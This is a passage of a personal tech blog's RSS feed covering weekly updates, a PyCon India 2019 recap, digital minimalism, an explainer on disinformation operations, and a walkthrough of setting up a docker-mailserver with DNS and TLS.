581
582<h2 id="pycon">PyCon</h2>
583
584<p>Yeah yeah, enough already. Read <a href="/blog/pycon-wrap-up">my previous post</a>.</p>
585
586<h2 id="this-website">This website</h2>
587
588<p>I’ve moved out of GitHub Pages over to Netlify. This isn’t my first time
589using Netlify, though. I used to host my old blog which ran Hugo, there.
590I was tired of doing this terrible hack to maintain a single repo for
591both my source (<code>master</code>) and deploy (<code>gh-pages</code>). In essence, here’s
592what I did:</p>
593
594<div class="codehilite"><pre><span></span><code><span class="ch">#!/usr/bin/env bash</span>
595
596git push origin master
597<span class="c1"># push contents of `build/` to the `gh-pages` branch</span>
598git subtree push --prefix build origin gh-pages
599</code></pre></div>
600
601<p>I can now simply push to <code>master</code>, and Netlify generates a build for me
602by installing <a href="https://github.com/icyphox/vite">vite</a>, and running <code>vite
603build</code>. Very pleasant.</p>
604
605<h2 id="mnmlwms-status"><code>mnmlwm</code>’s status</h2>
606
607<p><a href="https://github.com/minimalwm/minimal">mnmlwm</a>, for those unaware, is my pet project which aims to be a simple
608window manager written in Nim. I’d taken a break from it for a while
609because Xlib is such a pain to work with (or I’m just dense). Anyway,
610I’m planning on getting back to it, with some fresh inspiration from
611Dylan Araps’ <a href="https://github.com/dylanaraps/sowm">sowm</a>.</p>
612
613<h2 id="other">Other</h2>
614
615<p>I’ve been reading a lot of manga lately. Finished <em>Kekkon Yubiwa
616Monogatari</em> (till the latest chapter) and <em>Another</em>, and I’ve just
617started <em>Kakegurui</em>. I’ll reserve my opinions for when I update the
618<a href="/reading">reading log</a>.</p>
619
620<p>That’s about it, and I’ll see you – definitely not next week.</p>
621]]></description><link>https://icyphox.sh/blog/2019-10-17</link><pubDate>Wed, 16 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-10-17</guid></item><item><title>PyCon India 2019 wrap-up</title><description><![CDATA[<p>I’m writing this article as I sit in class, back on the grind. Last
622weekend—Oct 12th and 13th—was PyCon India 2019, in Chennai, India.
623It was my first PyCon, <em>and</em> my first ever talk at a major conference!
624This is an account of the all the cool stuff I saw, people I met and the
625talks I enjoyed.
626Forgive the lack of pictures – I prefer living the moment through my
627eyes. </p>
628
629<h2 id="talks">Talks</h2>
630
631<p>So much ML! Not that it’s a bad thing, but definitely interesting to
632note. From what I counted, there were about 17 talks tagged under “Data
633Science, Machine Learning and AI”. I’d have liked to see more talks
634discussing security and privacy, but hey, the organizers can only pick
635from what’s submitted. ;)</p>
636
637<p>With that point out of the way, here are some of the talks I really liked:</p>
638
639<ul>
640<li><strong>Python Packaging - where we are and where we’re headed</strong> by <a href="https://twitter.com/pradyunsg">Pradyun</a></li>
641<li><strong>Micropython: Building a Physical Inventory Search Engine</strong> by <a href="https://twitter.com/stonecharioteer">Vinay</a></li>
642<li><strong>Ragabot - Music Encoded</strong> by <a href="https://twitter.com/vikipedia">Vikrant</a></li>
643<li><strong>Let’s Hunt a Memory Leak</strong> by <a href="https://twitter.com/sankeyplus">Sanket</a></li>
644<li>oh and of course, <a href="https://twitter.com/dabeaz">David Beazley</a>’s closing
645keynote</li>
646</ul>
647
648<h2 id="my-talk">My talk (!!!)</h2>
649
650<p>My good buddy <a href="https://twitter.com/_vologue">Raghav</a> and I spoke about
651our smart lock security research. Agreed, it might have been less
652“hardware” and more of a bug on the server-side, but that’s the thing
653about IoT right? It’s so multi-faceted, and is an amalgamation of so
654many different hardware and software stacks. But, anyway…</p>
655
656<p>I was reassured by folks after the talk that the silence during Q/A was
657the “good” kind of silence. Was it really? I’ll never know.</p>
658
659<h2 id="some-nice-people-i-met">Some nice people I met</h2>
660
661<ul>
662<li><a href="https://twitter.com/abhirathb">Abhirath</a> – A 200 IQ lad. Talked to
663me about everything from computational biology to the physical
664implementation of quantum computers.</li>
665<li><a href="https://twitter.com/meain_">Abin</a> – He recognized me from my
666<a href="https://reddit.com/r/unixporn">r/unixporn</a> posts, which was pretty
667awesome.</li>
668<li><a href="https://twitter.com/h6165">Abhishek</a></li>
669<li>Pradyun and Vikrant (linked earlier)</li>
670</ul>
671
672<p>And a lot of other people doing really great stuff, whose names I’m
673forgetting.</p>
674
675<h2 id="pictures">Pictures!</h2>
676
677<p>It’s not much, and
678I can’t be bothered to format them like a collage or whatever, so I’ll
679just dump them here – as is.</p>
680
681<p><img src="/static/img/silly_badge.jpg" alt="nice badge" />
682<img src="/static/img/abhishek_anmol.jpg" alt="awkward smile!" />
683<img src="/static/img/me_talking.jpg" alt="me talking" />
684<img src="/static/img/s443_pycon.jpg" alt="s443 @ pycon" /></p>
685
686<h2 id="cest-tout">C’est tout</h2>
687
688<p>Overall, a great time and a weekend well spent. It was very different
689from your typical security conference – a lot more <em>chill</em>, if you
690will. The organizers did a fantastic job and the entire event was put
691together really well.
692I don’t have much else to say, but I know for sure that I’ll be
693there next time.</p>
694
695<p>That was PyCon India, 2019.</p>
696]]></description><link>https://icyphox.sh/blog/pycon-wrap-up</link><pubDate>Tue, 15 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/pycon-wrap-up</guid></item><item><title>Thoughts on digital minimalism</title><description><![CDATA[<p>Ah yes, yet another article on the internet on this beaten to death
697subject. But this is inherently different, since it’s <em>my</em> opinion on
698the matter, and <em>my</em> technique(s) to achieve “digital minimalism”.</p>
699
700<p>According to me, minimalism can be achieved on two primary fronts –
701the phone & the computer. Let’s start with the phone. The daily carry.
702The device that’s on our person from when we get out of bed, till we get
703back in bed.</p>
704
705<h2 id="the-phone">The phone</h2>
706
707<p>I’ve read about a lot of methods people employ to curb their phone
708usage. Some have tried grouping “distracting” apps into a separate
709folder, and this supposedly helps reduce their usage. Now, I fail to see
710how this would work, but YMMV. Another technique I see often is using
711a time governance app—like OnePlus’ Zen Mode—to enforce how much
712time you spend using specific apps, or the phone itself. I’ve tried this
713for myself, but I constantly found myself counting down the minutes
714after which the phone would become usable again. Not helpful.</p>
715
716<p>My solution to this is a lot more brutal. I straight up uninstalled the
717apps that I found myself using too often. There’s a simple principle
718behind it – if the app has a desktop alternative, like Twitter,
719Reddit, etc. use that instead. Here’s a list of apps that got nuked from
720my phone:</p>
721
722<ul>
723<li>Twitter</li>
724<li>Instagram (an exception, no desktop client)</li>
725<li>Relay for Reddit</li>
726<li>YouTube (disabled, ships with stock OOS)</li>
727</ul>
728
729<p>The only non-productive app that I’ve let remain is Clover,
730a 4chan client. I didn’t find myself using it as much earlier, but we’ll see how that
731holds up. I’ve also allowed my personal messaging apps to remain, since
732removing those would be inconveniencing others.</p>
733
734<p>I must admit, I often find myself reaching for my phone out of habit
735just to check Twitter, only to find that its gone. I also subconsciously
736tap the place where its icon used to exist (now replaced with my mail
737client) on my launcher. The only “fun” thing left on my phone to do is
738read or listen to music. Which is okay, in my opinion.</p>
739
740<h2 id="the-computer">The computer</h2>
741
742<p>I didn’t do anything too nutty here, and most of the minimalism is
743mostly aesthetic. I like UIs that get out of the way. </p>
744
745<p>My setup right now is just a simple bar at the top showing the time,
746date, current volume and battery %, along with my workspace indicators.
747No fancy colors, no flashy buttons and sliders. And that’s it. I don’t
748try to force myself to not use stuff – after all, I’ve reduced it
749elsewhere. :)</p>
750
751<p>Now the question arises: Is this just a phase, or will I stick to it?
752What’s going to stop me from heading over to the Play Store and
753installing those apps back? Well, I never said this was going to be
754easy. There’s definitely some will power needed to pull this off.
755I guess time will tell.</p>
756]]></description><link>https://icyphox.sh/blog/digital-minimalism</link><pubDate>Sat, 05 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/digital-minimalism</guid></item><item><title>Weekly status update, 09/17–09/27</title><description><![CDATA[<p>It’s a lazy Friday afternoon here; yet another off day this week thanks to my
757uni’s fest. My last “weekly” update was 10 days ago, and a lot has happened
758since then. Let’s get right into it!</p>
759
760<h2 id="my-switch-to-alpine">My switch to Alpine</h2>
761
762<p>Previously, I ran Debian with Buster/Sid repos, and ever since this happened</p>
763
764<div class="codehilite"><pre><span></span><code>$ dpkg --list <span class="p">|</span> wc -l
765<span class="m">3817</span>
766
767<span class="c1"># or something in that ballpark</span>
768</code></pre></div>
769
770<p>I’ve been wanting to reduce my system’s package count.</p>
771
772<p>Thus, I began my search for a smaller, simpler and lighter distro with a fairly
773sane package manager. I did come across Dylan Araps’
774<a href="https://getkiss.org">KISS Linux</a> project, but it seemed a little too hands-on
775for me (and still relatively new). I finally settled on
776<a href="https://alpinelinux.org">Alpine Linux</a>. According to their website:</p>
777
778<blockquote>
779 <p>Alpine Linux is a security-oriented, lightweight Linux distribution based
780 on musl libc and busybox.</p>
781</blockquote>
782
783<p>The installation was a breeze, and I was quite surprised to see WiFi working
784OOTB. In the past week of my using this distro, the only major hassle I faced
785was getting my Minecraft launcher to run. The JRE isn’t fully ported to <code>musl</code>
786yet.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup> The solution to that is fairly trivial and I plan to write about it
787soon. (hint: it involves chroots)</p>
788
789<p><img src="/static/img/rice-2019-09-27.png" alt="rice" /></p>
790
791<h2 id="packaging-for-alpine">Packaging for Alpine</h2>
792
793<p>On a related note, I’ve been busy packaging some of the stuff I use for Alpine
794– you can see my personal <a href="https://github.com/icyphox/aports">aports</a>
795repository if you’re interested. I’m currently working on packaging Nim too, so
796keep an eye out for that in the coming week.</p>
797
798<h2 id="talk-selection-at-pycon-india">Talk selection at PyCon India!</h2>
799
800<p>Yes! My buddy Raghav (<a href="https://twitter.com/_vologue">@_vologue</a>) and I are
801going to be speaking at PyCon India about our recent smart lock security
802research. The conference is happening in Chennai, much to our convenience.
803If you’re attending too, hit me up on Twitter and we can hang!</p>
804
805<h2 id="other">Other</h2>
806
807<p>That essentially sums up the <em>technical</em> stuff that I did. My Russian is going
808strong, my reading however, hasn’t. I have <em>yet</em> to finish those books! This
809week, for sure.</p>
810
811<p>Musically, I’ve been experimenting. I tried a bit of hip-hop and chilltrap, and
812I think I like it? I still find myself coming back to metalcore/deathcore.
813Here’s a list of artists I discovered (and liked) recently:</p>
814
815<ul>
816<li><a href="https://www.youtube.com/watch?v=r3uKGwcwGWA">Before I Turn</a></li>
817<li>生 Conform 死 (couldn’t find any official YouTube video, check Spotify)</li>
818<li><a href="https://www.youtube.com/watch?v=66eFK1ttdC4">Treehouse Burning</a></li>
819<li><a href="https://www.youtube.com/watch?v=m-w3XM2PwOY">Lee McKinney</a></li>
820<li><a href="https://www.youtube.com/watch?v=cUibXK7F3PM">Berried Alive</a> (rediscovered)</li>
821</ul>
822
823<p>That’s it for now, I’ll see you next week!</p>
824
825<div class="footnotes">
826<hr />
827<ol>
828<li id="fn-1">
829<p>The <a href="https://aboullaite.me/protola-alpine-java/">Portola Project</a> <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
830</li>
831</ol>
832</div>
833]]></description><link>https://icyphox.sh/blog/2019-09-27</link><pubDate>Fri, 27 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-09-27</guid></item><item><title>Weekly status update, 09/08–09/17</title><description><![CDATA[<p>This is something new I’m trying out, in an effort to write more frequently
834and to serve as a log of how I’m using my time. In theory, I will write this post
835every week. I’ll need someone to hold me accountable if I don’t. I have yet to decide on
836a format for this, but it will probably include a quick summary of the work I did,
837things I read, IRL stuff, etc.</p>
838
839<p>With the meta stuff out of the way, here’s what went down last week!</p>
840
841<h2 id="my-discovery-of-the-xxiivv-webring">My discovery of the XXIIVV webring</h2>
842
843<p>Did you notice the new fidget-spinner-like logo at the bottom? Click it! It’s a link to
844the <a href="https://webring.xxiivv.com">XXIIVV webring</a>. I really like the idea of webrings.
845It creates a small community of sites and enables sharing of traffic among these sites.
846The XXIIVV webring consists mostly of artists, designers and developers and gosh, some
847of those sites are beautiful. Mine pales in comparison.</p>
848
849<p>The webring also has a <a href="https://github.com/buckket/twtxt">twtxt</a> echo chamber aptly
850called <a href="https://webring.xxiivv.com/hallway.html">The Hallway</a>. twtxt is a fantastic project
851and its complexity-to-usefulness ratio greatly impresses me. You can find my personal
852twtxt feed at <code>/twtxt.txt</code> (root of this site).</p>
853
854<p>Which brings me to the next thing I did this/last week.</p>
855
856<h2 id="twsh-a-twtxt-client-written-in-bash"><code>twsh</code>: a twtxt client written in Bash</h2>
857
858<p>I’m not a fan of the official Python client, because you know, Python is bloat.
859As an advocate of <em>mnmlsm</em>, I can’t use it in good conscience. Thus, began my
860authorship of a truly mnml client in pure Bash. You can find it <a href="https://github.com/icyphox/twsh">here</a>.
861It’s not entirely useable as of yet, but it’s definitely getting there, with the help
862of <a href="https://nerdypepper.me">@nerdypepper</a>.</p>
863
864<h2 id="other">Other</h2>
865
866<p>I have been listening to my usual podcasts: Crime Junkie, True Crime Garage,
867Darknet Diaries & Off the Pill. To add to this list, I’ve begun binging Vice’s CYBER.
868It’s pretty good – each episode is only about 30 mins and it hits the sweet spot,
869delvering both interesting security content and news.</p>
870
871<p>My reading needs a ton of catching up. Hopefully I’ll get around to finishing up
872“The Unending Game” this week. And then go back to “Terrorism and Counterintelligence”.</p>
873
874<p>I’ve begun learning Russian! I’m really liking it so far, and it’s been surprisingly
875easy to pick up. Learning the Cyrillic script will require some relearning, especially
876with letters like в, н, р, с, etc. that look like English but sound entirely different.
877I think I’m pretty serious about learning this language – I’ve added the Russian keyboard
878to my Google Keyboard to aid in my familiarization of the alphabet. I’ve added the <code>RU</code>
879layout to my keyboard map too:</p>
880
881<pre><code>setxkbmap -option 'grp:alt_shift_toggle' -layout us,ru
882</code></pre>
883
884<p>With that ends my weekly update, and I’ll see you next week!</p>
885]]></description><link>https://icyphox.sh/blog/2019-09-17</link><pubDate>Tue, 17 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-09-17</guid></item><item><title>Disinformation demystified</title><description><![CDATA[<p>As with the disambiguation of any word, let’s start with its etymology and definiton.
886According to <a href="https://en.wikipedia.org/wiki/Disinformation">Wikipedia</a>,
887<em>disinformation</em> has been borrowed from the Russian word — <em>dezinformatisya</em> (дезинформа́ция),
888derived from the title of a KGB black propaganda department.</p>
889
890<blockquote>
891 <p>Disinformation is false information spread deliberately to deceive.</p>
892</blockquote>
893
894<p>To fully understand disinformation, especially in the modern age, we need to understand the
895key factors of any successful disinformation operation:</p>
896
897<ul>
898<li>creating disinformation (what)</li>
899<li>the motivation behind the op, or its end goal (why)</li>
900<li>the medium used to disperse the falsified information (how)</li>
901<li>the actor (who)</li>
902</ul>
903
904<p>At the end, we’ll also look at how you can use disinformation techniques to maintain OPSEC.</p>
905
906<p>In order to break monotony, I will also be using the terms “information operation”, or the shortened
907forms – “info op” & “disinfo”.</p>
908
909<h2 id="creating-disinformation">Creating disinformation</h2>
910
911<p>Crafting or creating disinformation is by no means a trivial task. Often, the quality
912of any disinformation sample is a huge indicator of the level of sophistication of the
913actor involved, i.e. is it a 12 year old troll or a nation state?</p>
914
915<p>Well crafted disinformation always has one primary characteristic — “plausibility”.
916The disinfo must sound reasonable. It must induce the notion it’s <em>likely</em> true.
917To achieve this, the target — be it an individual, a specific demographic or an entire
918nation — must be well researched. A deep understanding of the target’s culture, history,
919geography and psychology is required. It also needs circumstantial and situational awareness,
920of the target.</p>
921
922<p>There are many forms of disinformation. A few common ones are staged videos / photographs,
923recontextualized videos / photographs, blog posts, news articles & most recently — deepfakes.</p>
924
925<p>Here’s a tweet from <a href="https://twitter.com/thegrugq">the grugq</a>, showing a case of recontextualized
926imagery:</p>
927
928<blockquote class="twitter-tweet" data-dnt="true" data-theme="dark" data-link-color="#00ffff">
929<p lang="en" dir="ltr">Disinformation.
930<br><br>
931The content of the photo is not fake. The reality of what it captured is fake. The context it’s placed in is fake. The picture itself is 100% authentic. Everything, except the photo itself, is fake.
932<br><br>Recontextualisation as threat vector.
933<a href="https://t.co/Pko3f0xkXC">pic.twitter.com/Pko3f0xkXC</a>
934</p>— thaddeus e. grugq (@thegrugq)
935<a href="https://twitter.com/thegrugq/status/1142759819020890113?ref_src=twsrc%5Etfw">June 23, 2019</a>
936</blockquote>
937
938<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
939
940<h2 id="motivations-behind-an-information-operation">Motivations behind an information operation</h2>
941
942<p>I like to broadly categorize any info op as either proactive or reactive.
943Proactively, disinformation is spread with the desire to influence the target
944either before or during the occurence of an event. This is especially observed
945during elections.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup>
946In offensive information operations, the target’s psychological state can be affected by
947spreading <strong>fear, uncertainty & doubt</strong>, or FUD for short.</p>
948
949<p>Reactive disinformation is when the actor, usually a nation state in this case,
950screws up and wants to cover their tracks. A fitting example of this is the case
951of Malaysian Airlines Flight 17 (MH17), which was shot down while flying over
952eastern Ukraine. This tragic incident has been attributed to Russian-backed
953separatists.<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup>
954Russian media is known to have desseminated a number of alternative & some even
955conspiratorial theories<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>, in response. The number grew as the JIT’s (Dutch-lead Joint
956Investigation Team) investigations pointed towards the separatists.
957The idea was to <strong>muddle the information</strong> space with these theories, and as a result,
958potentially correct information takes a credibility hit.</p>
959
960<p>Another motive for an info op is to <strong>control the narrative</strong>. This is often seen in use
961in totalitarian regimes; when the government decides what the media portrays to the
962masses. The ongoing Hong Kong protests is a good example.<sup class="footnote-ref" id="fnref-4"><a href="#fn-4">4</a></sup> According to <a href="https://www.npr.org/2019/08/14/751039100/china-state-media-present-distorted-version-of-hong-kong-protests">NPR</a>:</p>
963
964<blockquote>
965 <p>Official state media pin the blame for protests on the “black hand” of foreign interference,
966 namely from the United States, and what they have called criminal Hong Kong thugs.
967 A popular conspiracy theory posits the CIA incited and funded the Hong Kong protesters,
968 who are demanding an end to an extradition bill with China and the ability to elect their own leader.
969 Fueling this theory, China Daily, a state newspaper geared toward a younger, more cosmopolitan audience,
970 this week linked to a video purportedly showing Hong Kong protesters using American-made grenade launchers to combat police.
971 …</p>
972</blockquote>
973
974<h2 id="media-used-to-disperse-disinfo">Media used to disperse disinfo</h2>
975
976<p>As seen in the above example of totalitarian governments, national TV and newspaper agencies
977play a key role in influence ops en masse. It guarantees outreach due to the channel/paper’s
978popularity.</p>
979
980<p>Twitter is another, obvious example. Due to the ease of creating accounts and the ability to
981generate activity programmatically via the API, Twitter bots are the go-to choice today for
982info ops. Essentially, an actor attempts to create “discussions” amongst “users” (read: bots),
983to push their narrative(s). Twitter also provides analytics for every tweet, enabling actors to
984get realtime insights into what sticks and what doesn’t.
985The use of Twitter was seen during the previously discussed MH17 case, where Russia employed its troll
986factory — the <a href="https://en.wikipedia.org/wiki/Internet_Research_Agency">Internet Research Agency</a> (IRA)
987to create discussions about alternative theories.</p>
988
989<p>In India, disinformation is often spread via YouTube, WhatsApp and Facebook. Political parties
990actively invest in creating group chats to spread political messages and memes. These parties
991have volunteers whose sole job is to sit and forward messages.
992Apart from political propaganda, WhatsApp finds itself as a medium of fake news. In most cases,
993this is disinformation without a motive, or the motive is hard to determine simply because
994the source is impossible to trace, lost in forwards.<sup class="footnote-ref" id="fnref-5"><a href="#fn-5">5</a></sup>
995This is a difficult problem to combat, especially given the nature of the target audience.</p>
996
997<h2 id="the-actors-behind-disinfo-campaigns">The actors behind disinfo campaigns</h2>
998
999<p>I doubt this requires further elaboration, but in short:</p>
1000
1001<ul>
1002<li>nation states and their intelligence agencies</li>
1003<li>governments, political parties</li>
1004<li>other non/quasi-governmental groups</li>
1005<li>trolls</li>
1006</ul>
1007
1008<p>This essentially sums up the what, why, how and who of disinformation. </p>
1009
1010<h2 id="personal-opsec">Personal OPSEC</h2>
1011
1012<p>This is a fun one. Now, it’s common knowledge that
1013<strong>STFU is the best policy</strong>. But sometimes, this might not be possible, because
1014afterall inactivity leads to suspicion, and suspicion leads to scrutiny. Which might
1015lead to your OPSEC being compromised.
1016So if you really have to, you can feign activity using disinformation. For example,
1017pick a place, and throw in subtle details pertaining to the weather, local events
1018or regional politics of that place into your disinfo. Assuming this is Twitter, you can
1019tweet stuff like:</p>
1020
1021<ul>
1022<li>“Ugh, when will this hot streak end?!”</li>
1023<li>“Traffic wonky because of the Mardi Gras parade.”</li>
1024<li>“Woah, XYZ place is nice! Especially the fountains by ABC street.”</li>
1025</ul>
1026
1027<p>Of course, if you’re a nobody on Twitter (like me), this is a non-issue for you.</p>
1028
1029<p>And please, don’t do this:</p>
1030
1031<p><img src="/static/img/mcafeetweet.png" alt="mcafee opsecfail" /></p>
1032
1033<h2 id="conclusion">Conclusion</h2>
1034
1035<p>The ability to influence someone’s decisions/thought process in just one tweet is
1036scary. There is no simple way to combat disinformation. Social media is hard to control.
1037Just like anything else in cyber, this too is an endless battle between social media corps
1038and motivated actors.</p>
1039
1040<p>A huge shoutout to Bellingcat for their extensive research in this field, and for helping
1041folks see the truth in a post-truth world.</p>
1042
1043<div class="footnotes">
1044<hr />
1045<ol>
1046<li id="fn-1">
1047<p><a href="https://www.vice.com/en_us/article/ev3zmk/an-expert-explains-the-many-ways-our-elections-can-be-hacked">This</a> episode of CYBER talks about election influence ops (features the grugq!). <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
1048</li>
1049
1050<li id="fn-2">
1051<p>The <a href="https://www.bellingcat.com/category/resources/podcasts/">Bellingcat Podcast</a>’s season one covers the MH17 investigation in detail. <a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
1052</li>
1053
1054<li id="fn-3">
1055<p><a href="https://en.wikipedia.org/wiki/Malaysia_Airlines_Flight_17#Conspiracy_theories">Wikipedia section on MH17 conspiracy theories</a> <a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">↩</a></p>
1056</li>
1057
1058<li id="fn-4">
1059<p><a href="https://twitter.com/gdead/status/1171032265629032450">Chinese newspaper spreading disinfo</a> <a href="#fnref-4" class="footnoteBackLink" title="Jump back to footnote 4 in the text.">↩</a></p>
1060</li>
1061
1062<li id="fn-5">
1063<p>Use an adblocker before clicking <a href="https://www.news18.com/news/tech/fake-whatsapp-message-of-child-kidnaps-causing-mob-violence-in-madhya-pradesh-2252015.html">this</a>. <a href="#fnref-5" class="footnoteBackLink" title="Jump back to footnote 5 in the text.">↩</a></p>
1064</li>
1065</ol>
1066</div>
1067]]></description><link>https://icyphox.sh/blog/disinfo</link><pubDate>Tue, 10 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/disinfo</guid></item><item><title>Setting up my personal mailserver</title><description><![CDATA[<p>A mailserver was a long time coming. I’d made an attempt at setting one up
1068around ~4 years ago (ish), and IIRC, I quit when it came to DNS. And
1069I almost did this time too.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>
1070
1071<p>For this attempt, I wanted a simpler approach. I recall how terribly
1072confusing Dovecot & Postfix were to configure and hence I decided to look
1073for a containerized solution, that most importantly, runs on my cheap $5
1074Digital Ocean VPS — 1 vCPU and 1 GB memory. Of which only around 500 MB
1075is actually available. So yeah, <em>pretty</em> tight.</p>
1076
1077<h2 id="whats-available">What’s available</h2>
1078
1079<p>Turns out, there are quite a few of these OOTB, ready to deply solutions.
1080These are the ones I came across:</p>
1081
1082<ul>
1083<li><p><a href="https://poste.io">poste.io</a>: Based on an “open core” model. The base install is open source
1084and free (as in beer), but you’ll have to pay for the extra stuff.</p></li>
1085<li><p><a href="https://mailu.io">mailu.io</a>: Free software. Draws inspiration from poste.io,
1086but ships with a web UI that I didn’t need. </p></li>
1087<li><p><a href="https://mailcow.email">mailcow.email</a>: These fancy domains are getting ridiculous. But more importantly
1088they need 2 GiB of RAM <em>plus</em> swap?! Nope.</p></li>
1089<li><p><a href="https://mailinabox.email">Mail-in-a-Box</a>: Unlike the ones above, not a Docker-based solution but definitely worth
1090a mention. It however, needs a fresh box to work with. A box with absolutely
1091nothing else on it. I can’t afford to do that.</p></li>
1092<li><p><a href="https://github.com/tomav/docker-mailserver/">docker-mailserver</a>: <strong>The winner</strong>. </p></li>
1093</ul>
1094
1095<h2 id="so-docker-mailserver">So… <code>docker-mailserver</code></h2>
1096
1097<p>The first thing that caught my eye in the README:</p>
1098
1099<blockquote>
1100 <p>Recommended:</p>
1101
1102 <ul>
1103 <li>1 CPU</li>
1104 <li>1GB RAM</li>
1105 </ul>
1106
1107 <p>Minimum:</p>
1108
1109 <ul>
1110 <li>1 CPU</li>
1111 <li>512MB RAM</li>
1112 </ul>
1113</blockquote>
1114
1115<p>Fantastic, I can somehow squeeze this into my existing VPS.
1116Setup was fairly simple & the docs are pretty good. It employs a single
1117<code>.env</code> file for configuration, which is great.
1118However, I did run into a couple of hiccups here and there.</p>
1119
1120<p>One especially nasty one was <code>docker</code> / <code>docker-compose</code> running out
1121of memory.</p>
1122
1123<pre><code>Error response from daemon: cannot stop container: 2377e5c0b456: Cannot kill container 2377e5c0b456226ecaa66a5ac18071fc5885b8a9912feeefb07593638b9a40d1: OCI runtime state failed: runc did not terminate sucessfully: fatal error: runtime: out of memory
1124</code></pre>
1125
1126<p>But it eventually worked after a couple of attempts.</p>
1127
1128<p>The next thing I struggled with — DNS. Specifically, the with the step where
1129the DKIM keys are generated<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup>. The output under <br />
1130<code>config/opendkim/keys/domain.tld/mail.txt</code> <br />
1131isn’t exactly CloudFlare friendly; they can’t be directly copy-pasted into
1132a <code>TXT</code> record. </p>
1133
1134<p>This is what it looks like.</p>
1135
1136<pre><code>mail._domainkey IN TXT ( "v=DKIM1; h=sha256; k=rsa; "
1137 "p=<key>"
1138 "<more key>" ) ; ----- DKIM key mail for icyphox.sh
1139</code></pre>
1140
1141<p>But while configuring the record, you set “Type” to <code>TXT</code>, “Name” to <code>mail._domainkey</code>,
1142and the “Value” to what’s inside the parenthesis <code>( )</code>, <em>removing</em> the quotes <code>""</code>.
1143Also remove the part that appears to be a comment <code>; ----- ...</code>.</p>
1144
1145<p>To simplify debugging DNS issues later, it’s probably a good idea to
1146point to your mailserver using a subdomain like <code>mail.domain.tld</code> using an
1147<code>A</code> record.
1148You’ll then have to set an <code>MX</code> record with the “Name” as <code>@</code> (or whatever your DNS provider
1149uses to denote the root domain) and the “Value” to <code>mail.domain.tld</code>.
1150And finally, the <code>PTR</code> (pointer record, I think), which is the reverse of
1151your <code>A</code> record — “Name” as the server IP and “Value” as <code>mail.domain.tld</code>.
1152I learnt this part the hard way, when my outgoing email kept getting
1153rejected by Tutanota’s servers.</p>
1154
1155<p>Yet another hurdle — SSL/TLS certificates. This isn’t very properly
1156documented, unless you read through the <a href="https://github.com/tomav/docker-mailserver/wiki/Installation-Examples">wiki</a>
1157and look at an example. In short, install <code>certbot</code>, have port 80 free,
1158and run </p>
1159
1160<div class="codehilite"><pre><span></span><code>$ certbot certonly --standalone -d mail.domain.tld
1161</code></pre></div>
1162
1163<p>Once that’s done, edit the <code>docker-compose.yml</code> file to mount <code>/etc/letsencrypt</code> in
1164the container, something like so:</p>
1165
1166<div class="codehilite"><pre><span></span><code><span class="nn">...</span>
1167
1168<span class="nt">volumes</span><span class="p">:</span>
1169 <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">maildata:/var/mail</span>
1170 <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">mailstate:/var/mail-state</span>
1171 <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">./config/:/tmp/docker-mailserver/</span>
1172 <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">/etc/letsencrypt:/etc/letsencrypt</span>
1173
1174<span class="nn">...</span>
1175</code></pre></div>
1176
1177<p>With this done, you shouldn’t have mail clients complaining about
1178wonky certs for which you’ll have to add an exception manually.</p>
1179
1180<h2 id="why-would-you">Why would you…?</h2>
1181
1182<p>There are a few good reasons for this:</p>
1183
1184<h2 id="privacy">Privacy</h2>
1185
1186<p>No really, this is <em>the</em> best choice for truly private
1187email. Not ProtonMail, not Tutanota. Sure, they claim so and I don’t
1188dispute it. Quoting Drew Devault<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>,</p>
1189
1190<blockquote>
1191 <p>Truly secure systems do not require you to trust the service provider.</p>
1192</blockquote>
1193
1194<p>But you have to <em>trust</em> ProtonMail. They run open source software, but
1195how can you really be sure that it isn’t a backdoored version of it?</p>
1196
1197<p>When you host your own mailserver, you truly own your email without having to rely on any
1198third-party.
1199This isn’t an attempt to spread FUD. In the end, it all depends on your
1200threat model™.</p>
1201
1202<h2 id="decentralization">Decentralization</h2>
1203
1204<p>Email today is basically run by Google. Gmail has over 1.2 <em>billion</em>
1205active users. That’s obscene.
1206Email was designed to be decentralized but big corps swooped in and
1207made it a product. They now control your data, and it isn’t unknown that
1208Google reads your mail. This again loops back to my previous point, privacy.
1209Decentralization guarantees privacy. When you control your mail, you subsequently
1210control who reads it.</p>
1211
1212<h2 id="personalization">Personalization</h2>
1213
1214<p>Can’t ignore this one. It’s cool to have a custom email address to flex.</p>
1215
1216<p><code>x@icyphox.sh</code> vs <code>gabe.newell4321@gmail.com</code></p>
1217
1218<p>Pfft, this is no competition.</p>
1219
1220<div class="footnotes">
1221<hr />
1222<ol>
1223<li id="fn-1">
1224<p>My <a href="https://twitter.com/icyphox/status/1161648321548566528">tweet</a> of frustration. <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
1225</li>
1226
1227<li id="fn-2">
1228<p><a href="https://github.com/tomav/docker-mailserver#generate-dkim-keys">Link</a> to step in the docs. <a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
1229</li>
1230
